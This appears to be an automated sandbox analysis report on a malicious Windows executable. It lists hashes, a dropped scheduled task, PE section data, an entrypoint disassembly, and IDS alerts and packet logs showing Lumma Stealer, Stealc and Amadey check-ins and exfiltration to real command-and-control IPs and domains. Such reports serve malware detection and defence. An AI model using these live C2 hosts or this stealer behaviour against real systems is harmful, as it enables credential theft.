SSDEEP:	98304:3unGIFk3h+DxvVpuOAxe500ZZCw0IRyP6o:36GIFikLuOH20fF0I4
MD5:	0A0F11159921131E89D2E3203E99B1F6
SHA1:	661586D8FAE5358589A35C336DFB4114116E3264
SHA-256:	69EA228FAD500972C7022F828D8CE864E841C10C79538FBF9188E2CFD1203098
SHA-512:	F14041F126807284126F6EADE0EBBBCACDF04A46521FBD4C6F7BB9579882157CA11130DFBB13FB189D8A20A6488CC9D1D2C3E14675DCB0838E328876965A60F3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1......72...@.................................W...k............................e1.............................0e1..................................................... . ............................@....rsrc...............................@....idata ............................@...guulvnfq..........................@...wreswaoh.....p1......N1.............@....taggant.0....1.."...T1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4619700964651767
Encrypted:	false
SSDEEP:	6:nT0/VXUhXUEZ+lX1CGdKUe6tE9+AQy0lt6ct0:nTK4Q1CGAFD9+nV5t0
MD5:	3A07E5D5390528292EC399D254574DFE
SHA1:	4FD4D45B10503AA05FE92D8D60AF97A05FF2DB76
SHA-256:	5138E1F3EA6B423A7B51BB88140367F9A75B48D68584F8CFFCF6668274070232
SHA-512:	60444084961A9E855670A7E8A763999411FC88E29DF8EB2835A23D91230680378B4DB187A7CD15004F81264551767B39FF257D43DBE97D37BF36898903D2A8B4
Malicious:	false
Preview:	.....K..=.M..~RJ.6wF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................4.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949323157130644
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8WRONDszv4.exe
File size:	1'880'064 bytes
MD5:	06473103f0ce27b3600328c027b7ac83
SHA1:	0bec56f13caa2199d47935c94cad806bda003f5f
SHA256:	abff990c992961487c4f8f6cd4b2fd3977adb737d5842f7ade73b120d500cf49
SHA512:	1bacc032e4449c0c0cb7453474e2c0d5648a91ba6e7047be1dfdd153423e1e50a41d1f4e421b02dc59e0ad0a4b79cecf8c1356b8ca7c944da0420aa49635dd1e
SSDEEP:	49152:rVNF1zPDxLoAx/g0YJ+fIa99g4hE8Tz6n0:ZBP5iwIavhV36
TLSH:	E195333D3150A9FECE14597063B7189EADBCE2BD428F9E2CEB420D9258F7561C6B1423
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig............................. J...........@..........................PJ......i....@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F15051A9B0Ah
jng 00007F15051A9B22h
add byte ptr [eax], al
jmp 00007F15051ABB05h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	8a9b982584e9422e5cb673fcdb0f219f	False	0.999648948120915	data	7.986160676204805	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1ac	0x200	c4249243ceaeb236e3ce8ce2ab2c9a69	False	0.5390625	data	5.249019796122045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2ab000	0x200	31feb995ce626db42cbf998467b4c442	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uubiypuf	0x300000	0x1a1000	0x1a1000	684a4390ec139fa54ade4c2c90aaa7ce	False	0.9943806673411271	data	7.95404089568986	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pojmimjg	0x4a1000	0x1000	0x400	110f83ac9ef242c9b3f2842363d20f39	False	0.8115234375	data	6.287631194692445	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a2000	0x3000	0x2200	e1595afe86a55d009b9e107f8931b6ab	False	0.06698069852941177	DOS executable (COM)	0.753295036598947	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T08:50:25.196479+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49707	104.21.11.101	443	TCP
2024-12-27T08:50:25.822474+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49707	104.21.11.101	443	TCP
2024-12-27T08:50:25.822474+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49707	104.21.11.101	443	TCP
2024-12-27T08:50:27.169452+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49709	104.21.11.101	443	TCP
2024-12-27T08:50:28.004709+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49709	104.21.11.101	443	TCP
2024-12-27T08:50:28.004709+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	104.21.11.101	443	TCP
2024-12-27T08:50:29.659197+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49711	104.21.11.101	443	TCP
2024-12-27T08:50:30.564023+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49711	104.21.11.101	443	TCP
2024-12-27T08:50:31.914741+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49713	104.21.11.101	443	TCP
2024-12-27T08:50:34.218423+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49719	104.21.11.101	443	TCP
2024-12-27T08:50:36.723205+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49725	104.21.11.101	443	TCP
2024-12-27T08:50:39.339497+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49733	104.21.11.101	443	TCP
2024-12-27T08:50:43.212779+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49746	104.21.11.101	443	TCP
2024-12-27T08:50:43.960152+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49746	104.21.11.101	443	TCP
2024-12-27T08:50:59.305272+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49783	185.215.113.206	80	TCP
2024-12-27T08:52:06.728911+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49937	185.215.113.43	80	TCP
2024-12-27T08:52:11.221031+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49949	31.41.244.11	80	TCP
2024-12-27T08:52:16.115994+0100	2058374	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)	1	192.168.2.6	56778	1.1.1.1	53	UDP
2024-12-27T08:52:16.344630+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.6	56360	1.1.1.1	53	UDP
2024-12-27T08:52:16.660150+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.6	55454	1.1.1.1	53	UDP
2024-12-27T08:52:17.061011+0100	2058370	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)	1	192.168.2.6	60326	1.1.1.1	53	UDP
2024-12-27T08:52:17.182884+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49944	TCP
2024-12-27T08:52:17.290337+0100	2058362	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)	1	192.168.2.6	61799	1.1.1.1	53	UDP
2024-12-27T08:52:17.518148+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.6	57763	1.1.1.1	53	UDP
2024-12-27T08:52:17.746444+0100	2058376	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)	1	192.168.2.6	58466	1.1.1.1	53	UDP
2024-12-27T08:52:18.232253+0100	2058358	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)	1	192.168.2.6	55049	1.1.1.1	53	UDP
2024-12-27T08:52:18.612124+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49965	185.215.113.43	80	TCP
2024-12-27T08:52:20.068913+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49970	185.215.113.16	80	TCP
2024-12-27T08:52:20.088393+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49971	23.55.153.106	443	TCP
2024-12-27T08:52:26.256525+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49983	104.21.11.101	443	TCP
2024-12-27T08:52:27.053572+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49983	104.21.11.101	443	TCP
2024-12-27T08:52:27.053572+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49983	104.21.11.101	443	TCP
2024-12-27T08:52:27.294574+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49987	185.215.113.43	80	TCP
2024-12-27T08:52:28.359019+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49990	104.21.11.101	443	TCP
2024-12-27T08:52:28.766315+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49991	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:50:23.921993017 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:23.922044039 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:23.922226906 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:23.925137997 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:23.925162077 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:25.196397066 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:25.196479082 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:25.199790001 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:25.199799061 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:25.200054884 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:25.240464926 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:25.254564047 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:25.254723072 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:25.254838943 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:25.822573900 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:25.822668076 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:25.822709084 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:25.829139948 CET	49707	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:25.829166889 CET	443	49707	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:25.852775097 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:25.852818012 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:25.852883101 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:25.853420973 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:25.853431940 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:27.169234037 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:27.169451952 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:27.170671940 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:27.170722961 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:27.171736956 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:27.173127890 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:27.173176050 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:27.173391104 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.004820108 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.004957914 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.005034924 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.005094051 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:28.005108118 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.005134106 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.005211115 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:28.005229950 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.005297899 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:28.005305052 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.012644053 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.012721062 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:28.012752056 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.021030903 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.021128893 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:28.021140099 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.068572044 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:28.068593979 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.115649939 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:28.205590010 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.209522963 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.209590912 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:28.209614992 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.209805012 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.209860086 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:28.209954023 CET	49709	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:28.209971905 CET	443	49709	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.446793079 CET	49711	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:28.446836948 CET	443	49711	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:28.446918011 CET	49711	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:28.447299004 CET	49711	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:28.447320938 CET	443	49711	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:29.659125090 CET	443	49711	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:29.659197092 CET	49711	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:29.660514116 CET	49711	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:29.660527945 CET	443	49711	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:29.660742998 CET	443	49711	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:29.662031889 CET	49711	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:29.662167072 CET	49711	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:29.662189007 CET	443	49711	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:30.564023972 CET	443	49711	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:30.564110041 CET	443	49711	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:30.564713955 CET	49711	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:30.564892054 CET	49711	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:30.564913034 CET	443	49711	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:30.703655005 CET	49713	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:30.703687906 CET	443	49713	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:30.703757048 CET	49713	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:30.704061031 CET	49713	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:30.704070091 CET	443	49713	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:31.914630890 CET	443	49713	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:31.914741039 CET	49713	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:31.916134119 CET	49713	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:31.916141033 CET	443	49713	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:31.916358948 CET	443	49713	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:31.917608023 CET	49713	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:31.917777061 CET	49713	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:31.917804003 CET	443	49713	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:31.917850971 CET	49713	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:31.959330082 CET	443	49713	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:32.774360895 CET	443	49713	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:32.774442911 CET	443	49713	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:32.774497032 CET	49713	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:32.774631023 CET	49713	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:32.774646997 CET	443	49713	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:32.960292101 CET	49719	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:32.960426092 CET	443	49719	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:32.960534096 CET	49719	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:32.960867882 CET	49719	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:32.960905075 CET	443	49719	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:34.218291044 CET	443	49719	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:34.218422890 CET	49719	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:34.219665051 CET	49719	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:34.219686985 CET	443	49719	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:34.219933033 CET	443	49719	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:34.221195936 CET	49719	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:34.221349955 CET	49719	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:34.221379995 CET	443	49719	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:34.221436977 CET	49719	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:34.221451044 CET	443	49719	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:35.180852890 CET	443	49719	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:35.181118965 CET	443	49719	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:35.181210041 CET	49719	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:35.181272030 CET	49719	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:35.181301117 CET	443	49719	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:35.502337933 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:35.502381086 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:35.502455950 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:35.502865076 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:35.502876997 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:36.723098993 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:36.723205090 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:36.724426031 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:36.724438906 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:36.724689007 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:36.726008892 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:36.726115942 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:36.726121902 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:37.483185053 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:37.483530998 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:37.483635902 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:37.483792067 CET	49725	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:37.483810902 CET	443	49725	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:38.004821062 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:38.004857063 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:38.004956007 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:38.005242109 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:38.005259991 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:39.339415073 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:39.339497089 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.341058969 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.341067076 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:39.341361046 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:39.346086025 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.346982002 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.347024918 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:39.347126961 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.347150087 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:39.347282887 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.347328901 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:39.347480059 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.347505093 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:39.347657919 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.347678900 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:39.347851038 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.347870111 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:39.347882986 CET	49733	443	192.168.2.6	104.21.11.101
